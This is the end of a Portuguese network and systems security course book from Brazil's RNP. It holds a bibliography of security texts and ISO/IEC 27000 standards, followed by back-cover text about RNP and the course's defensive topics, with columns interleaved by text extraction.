11 SIMMONS, Gustavus, J. Symmetric and Asymmetric Encryption.


http://www.princeton.edu/~rblee/ELE572Papers/CSurveys_
SymmAsymEncrypt-simmons.pdf

11 STEVENS W., Richard. TCP Illustrated. Volume 1. Addison-Wesley, 1994.

11 ZWICKY, Elizabeth D. et al. Building Internet Firewalls. Estados Unidos:


Bibliografia

Editora O’Reilly Media, 2006.

181
11 Norma ABNT NBR ISO/IEC 27001:2006

11 Norma ABNT NBR ISO/IEC 27002:2005

11 Norma ABNT NBR ISO/IEC 27005:2008

11 Norma ABNT NBR ISO/IEC 27011:2009

11 IN 01 e Normas Complementares DSIC/GSI


Engenharia Reversa de Código Malicioso

182
Sobre a RNP – qualificada como uma
Organização Social (OS), a Rede Nacional
de Ensino e Pesquisa (RNP) é vinculada
ao Ministério da Ciência, Tecnologia,
Inovação e Comunicações (MCTIC) e
mantida por esse, em conjunto com
os ministérios da Educação (MEC),
Cidadania, Saúde (MS) e Defesa
(MD), que participam do Programa
Interministerial RNP (PI-RNP). Pioneira

O aluno aprenderá a implementar uma solução com- Segurança no acesso à internet no Brasil, a RNP
planeja, opera e mantém a rede Ipê,
infraestrutura óptica nacional acadêmica

LIVRO DE APOIO AO CURSO


de Redes

Segurança de Redes e Sistemas


pleta de proteção de redes, utilizando técnicas como de alto desempenho. Com Pontos de
firewall, IDS, IPS e VPN. O amplo escopo de conceitos Presença em 27 unidades da federação,
abordados permitirá a aplicação das técnicas de auten- a rede conecta 1.174 campi e unidades

ticação e autorização seguras, auditorias de segurança nas capitais e no interior. São mais de

e Sistemas
4 milhões de usuários, usufruindo de
e de requisitos de configuração segura de servidores
uma infraestrutura de redes avançadas
Linux e Windows. Após o curso, o aluno será capaz de para comunicação, computação e
montar um perímetro seguro, aumentar a segurança experimentação, que contribui para a
dos servidores da rede, realizar auditorias de segurança integração dos sistemas de Ciência e
e implantar sistemas de autenticação seguros. Tecnologia, Educação Superior, Saúde,

Este livro inclui os roteiros das atividades práticas e o Ivo de Carvalho Peixinho Cultura e Defesa.
Saiba mais em https://rnp.br.
conteúdo dos slides apresentados em sala de aula,
apoiando profissionais na disseminação deste conheci- Francisco Marmo da Fonseca
mento em suas organizações ou localidades de origem.
Francisco Marcelo Lima

ISBN 978-85-63630-13-1

9 788563 630131